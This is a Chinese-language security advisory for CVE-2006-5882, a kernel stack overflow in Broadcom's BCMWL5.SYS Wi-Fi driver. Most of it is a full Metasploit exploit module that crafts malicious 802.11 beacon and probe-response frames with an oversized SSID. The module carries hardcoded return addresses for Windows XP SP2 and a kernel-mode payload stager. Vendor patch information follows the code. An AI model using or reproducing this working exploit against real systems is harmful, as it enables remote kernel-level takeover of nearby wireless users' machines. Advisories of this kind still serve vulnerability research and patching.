发布日期：2006-11-13
更新日期：2006-11-14

受影响系统：

Broadcom BCMWL5.SYS 3.50.21.10

描述：

---

CVE ID: CVE-2006-5882

Broadcom是全球领先的有线和无线通信半导体公司。

Broadcom的无线驱动程序实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。

Broadcom的BCMWL5.SYS无线驱动在处理包含有超长SSID字段的802.11探测响应报文时存在栈溢出漏洞，允许攻击者通过发送恶意报文导致执行任意内核态代码。

<*来源：LMH （lmh@info-pull.com）
        Johnny Cache （johnnycsh@802.11mercenary.net）
  
  链接：http://secunia.com/advisories/22831/
        http://projects.info-pull.com/mokb/MOKB-11-11-2006.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

require 'msf/core'

module Msf

class Exploits::Windows::Driver::Broadcom_WiFi_SSID < Msf::Exploit::Remote

    include Exploit::Lorcon
    include Exploit::KernelMode    

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'Broadcom Wireless Driver Probe Response SSID Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the Broadcom Wireless driver
            that allows remote code execution in kernel mode by sending a 802.11 probe
            response that contains a long SSID. The target MAC address must
            be provided to use this exploit. The two cards tested fell into the
            00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges.

            This module depends on the Lorcon library and only works on the Linux platform
            with a supported wireless card. Please see the Ruby Lorcon documentation
            (external/ruby-lorcon/README) for more information.            
            },
            
            'Authors'        =>
                [
                    'Chris Eagle',    # initial discovery
                    'Johnny Cache <johnnycsh [at] 802.11mercenary.com>', # the man with the plan
                    'skape', # windows kernel ninjitsu and debugging
                    'hdm' # porting the C version to ruby
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 3583 $',
            'References'     =>
                [
                    ['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'],
                ],
            'Privileged'     => true,
                        
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },

            'Payload'        =>
                {
                    'Space'    => 500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
                    [ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10',
                        {
                            'Ret'      => 0x8066662c, # jmp edi
                            'Platform' => 'win',
                            'Payload'  =>
                            {
                                'ExtendedOptions' =>
                                {
                                    'Stager'       => 'sud_syscall_hook',
                                    'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                                    'Recovery'     => 'idlethread_restart',
                                    'KiIdleLoopAddress' => 0x804dbb27,                                        
                                        
                                }
                            }
                        }
                    ],
                    
                    # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
                    [ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10',
                        {
                            'Ret'      => 0x804f16eb, # jmp edi
                            'Platform' => 'win',
                            'Payload'  =>
                            {
                                'ExtendedOptions' =>
                                {
                                    'Stager'       => 'sud_syscall_hook',
                                    'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                                    'Recovery'     => 'idlethread_restart',
                                    'KiIdleLoopAddress' => 0x804dc0c7,
                                }
                            }
                        }
                    ]                    
                ],

            'DefaultTarget' => 0
            ))
            
        register_options(
            [
                OptString.new('ADDR_DST', [ true,  "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
                OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
            ], self.class)
    end

    def exploit
        open_wifi
        
        stime = Time.now.to_i
        
        print_status("Sending beacons and responses for #{datastore['RUNTIME']} seconds...")
        
        while (stime + datastore['RUNTIME'].to_i > Time.now.to_i)
            
            select(nil, nil, nil, 0.02)
            wifi.write(create_response)

            select(nil, nil, nil, 0.01)
            wifi.write(create_beacon)
            
            break if session_created?
            
        end
        
        print_status("Finished sending frames...")
    end
    
    def create_beacon
        src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
        dst = eton('FF:FF:FF:FF:FF:FF')
        seq = [Time.now.to_i % 4096].pack('n')
    
        blob = create_frame
        blob[0,1] = 0x80.chr
        blob[4,6] = dst
        blob[10,6] = src
        blob[16,6] = src
        blob[22,2] = seq
        
        blob
    end
    
    def create_response
        src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
        dst = eton(datastore['ADDR_DST'])
        seq = [Time.now.to_i % 256].pack('n')
    
        blob = create_frame
        blob[0,1] = 0x50.chr        
        blob[4,6] = dst
        blob[10,6] = src
        blob[16,6] = src # bssid field, good idea to set to src.
        blob[22,2] = seq
        
        blob
    end

    def create_frame
        "\x80" +                      # type/subtype
        "\x00" +                      # flags
        "\x00\x00" +                  # duration  
        "\xff\xff\xff\xff\xff\xff" +  # dst
        "\x58\x58\x58\x58\x58\x58" +  # src
        "\x58\x58\x58\x58\x58\x58" +  # bssid
        "\x70\xed" +                  # sequence number
        
        #
        # fixed parameters
        #
        
        # timestamp value
        Rex::Text.rand_text_alphanumeric(8) +
        "\x64\x00" +                  # beacon interval
        "\x11\x04" +                  # capability flags
        
        #
        # tagged parameters
        #
        
        # ssid tag
        "\x00" + # tag: SSID parameter set
        "\x5d" + # len: length is 93 bytes
        
        # jump into the payload
        "\x89\xf9" +                 # mov edi, ecx
        "\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b
        "\xff\xe1" +                 # jmp ecx
        
        # padding
        Rex::Text.rand_text_alphanumeric(79) +
        
        # return address
        [target.ret].pack('V') +
        
        # vendor specific tag
        "\xdd" + # wpa
        "\xff" + # big as we can make it
        
        # the kernel-mode stager
        payload.encoded
    end
    
end
end

建议：

---

厂商补丁：

Broadcom
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.linksys.com/servlet/Satellite?c=L_Download_C2&childpagename=US%2FLayout&cid=1115417109934&packedargs=sku%3D1144763513196&pagename=Linksys%2FCommon%2FVisitorWrapper

浏览次数：5261
严重程度：0（网友投票）